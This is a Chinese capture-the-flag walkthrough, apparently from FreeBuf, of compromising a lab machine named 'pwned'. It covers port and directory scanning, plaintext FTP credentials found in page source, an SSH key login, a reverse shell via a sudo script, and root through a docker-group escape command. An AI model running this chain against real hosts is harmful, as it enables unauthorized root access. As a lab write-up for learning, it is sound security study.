知非
- 关注

前言
本次文章只用于技术讨论,学习,切勿用于非法用途,用于非法用途与本人无关!
信息收集阶段
靶机:192.168.1.128
Kali攻击机:未知
目标:user权限和root权限
nmap -sn 192.168.1.0/24
nmap -A -p1-65535 192.168.1.3
开启了21端口,22端口和80端口:
但是21端口下存在无匿名登录。
漏洞利用阶段
访问下80端口:
查看源代码:
有个NOTE,??
I forgot to add this on last note
You are pretty smart as i thought
so here i left it for you
She sings very well. l loved it
先搞下目录扫描:
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.3/ -x txt,php,html,log,zip
http://192.168.1.3/hidden_text/
这个有用,这是个字典文件!!
http://192.168.1.3/hidden_text/secret.dic
目录字典:
下载下来:
继续目录扫描:
wfuzz -c --hc=404 -w secret.dic -u http://192.168.1.3/FUZZ
http://192.168.1.3/pwned.vuln/
查看下源代码:
这里有一个ftp的用户名和密码:
用户名:ftpuser
密码:B0ss_B!TcH
登录下ftp看看:有两个文件,下载下来看看!
这里有个用户名:ariana
登录密钥,我们用上面的用户名和下面的密钥进行登录!
获取第一个用户:
查询当前用户情况:
获取了第一个flag:
fb8*********************82140
权限提升阶段
接下来需要提权到root!!!
我们查询下当前用户的sudo权限!
有一个脚本能有用户selena执行,看下脚本的内容!!
看以上两个框,读取message写入msg参数,msg参数写入/dev/null!!这里输入bash反弹selena的bash!
切换为交互式shell!!
python3 -c 'import pty; pty.spawn("/bin/bash")'
我们能看到以上的用户属于用户组docker,我们可以基于此处进行提权到root!!
可以基于以下链接进行提权:
https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe#docker-group
执行以下两条命令进行提权:
docker image list
docker run -it --rm -v /:/mnt alpine chroot /mnt bash
最后的flag:
cat root.txt
4d4098d********************046fd7c
后记
大佬关于docker提权命令的解释:
总体来说,我们执行的命令是在镜像alpine上开启了一个交互式的bash。然而,我们也把用户的root文件系统挂载到/mnt文件夹上。下一步,我把root切换到/mnt上。因此,用户的目录结构和容器是一致的,这让我们可以有效的进入到容器中。因此,我们可以看到root用户属于容器用户e91e385b0673,而不是用户pwned。但是由于我们已经挂载文件系统和把root切换到/mnt,我们能看到文件结构就像用户主机以上。同时当前的root用户已经完全接入到容器。所以,我们能以容器的root用户执行命令。但是我们能看到用户实际的改变。如果你删除了命令中的“chroot/mnt”,你就会看到容器的文件系统。然后,当你进去/mnt目录,你就会看到主机的文件系统。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)